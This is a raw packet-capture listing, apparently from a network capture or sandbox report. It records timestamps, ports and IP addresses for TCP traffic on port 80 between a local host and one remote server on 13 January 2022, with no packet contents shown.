Jan 13, 2022 20:51:32.023022890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.023109913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023135900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023159981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023180962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.023185015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023212910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023228884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.023245096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.023288012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027098894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027152061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027179003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027210951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027240992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027257919 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027267933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027286053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027292967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027326107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027331114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027390003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027403116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027477026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027502060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027523994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027527094 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027566910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027803898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027836084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027864933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027898073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.027899981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.027950048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.028070927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.028106928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.028152943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077239037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077299118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077323914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077349901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077374935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077392101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077424049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077472925 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077603102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077615023 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077629089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077653885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077677011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077702045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077708006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077727079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.077743053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.077790976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.078327894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.078353882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.078423977 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.082951069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.082998991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.083019972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.083048105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.083120108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.083158970 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.083950043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.083986044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084012032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084033966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084058046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084091902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084184885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084211111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084237099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084256887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084265947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084291935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084312916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084322929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084352016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084367990 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084378004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084407091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084419966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084435940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084462881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084477901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084491014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084532976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084630966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084657907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084686041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084702969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084712982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084758043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.084908009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084932089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.084985018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.133074999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133136034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133217096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.133500099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133537054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133562088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133586884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.133588076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.133631945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.134886980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.134960890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.134980917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135001898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135040998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.135078907 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.135387897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135449886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135474920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135502100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.135504007 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.135545015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.137819052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.137897968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.137939930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.137988091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.138020039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.138057947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.139199018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139240026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139266968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139311075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139328003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.139420986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.139744997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139786005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139811039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139836073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.139848948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.139893055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.191807032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.191868067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.191885948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.191905022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.191963911 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.192015886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196245909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196295977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196314096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196332932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196422100 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196502924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196530104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196547985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196566105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196603060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196638107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196655989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196691036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196713924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196739912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196739912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196785927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196850061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196873903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196892023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196918011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196921110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196959972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.196974993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.196999073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197026014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197050095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197052002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197077036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197096109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197104931 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197120905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197146893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197150946 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197200060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197433949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197458982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197477102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197500944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197516918 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197550058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197655916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197685957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197710037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197729111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197771072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197803020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.197880983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197904110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197923899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197947025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.197954893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.198005915 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.198223114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.198247910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.198304892 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.198333025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.252582073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.252635956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.252671003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.252701998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.252748013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.252796888 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.253437042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.253472090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.253496885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.253520966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.253521919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.253560066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254144907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254174948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254200935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254205942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254242897 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254260063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254611015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254637957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254664898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254667044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254689932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254708052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254717112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254743099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254755974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254767895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254792929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.254806042 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.254977942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255019903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255043030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255069971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255095005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255106926 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255120993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255145073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255157948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255166054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255191088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255201101 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255435944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255466938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255484104 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255492926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255520105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255537033 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255856991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255887032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255914927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255932093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.255935907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.255965948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.256290913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256326914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256350040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256376982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.256377935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256416082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.256917953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256947994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.256994009 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.258347034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.258375883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.258424044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.307728052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.307806015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.307856083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.307867050 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.307908058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.307975054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308046103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308100939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308103085 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.308141947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308182955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308204889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.308667898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308712006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308727026 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.308751106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.308792114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.308792114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.311901093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.311947107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.311975956 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.311985970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312026024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312036991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.312066078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312109947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.312241077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312283039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312326908 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.312336922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312375069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.312416077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.313208103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313306093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313335896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313368082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313430071 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.313586950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313688993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313734055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.313741922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313781977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.313822985 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.313992023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314045906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314088106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314089060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.314127922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314169884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.314419985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314466000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314507961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314512968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.314548016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314587116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314589977 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.314662933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314702988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314704895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.314743996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.314785957 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.315031052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.315074921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.315113068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.315126896 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.315164089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.315211058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.363728046 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.363775969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.363816977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.363867044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.363883972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.363915920 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.363941908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.363965988 CET	80	49845	45.135.233.182	192.168.2.5
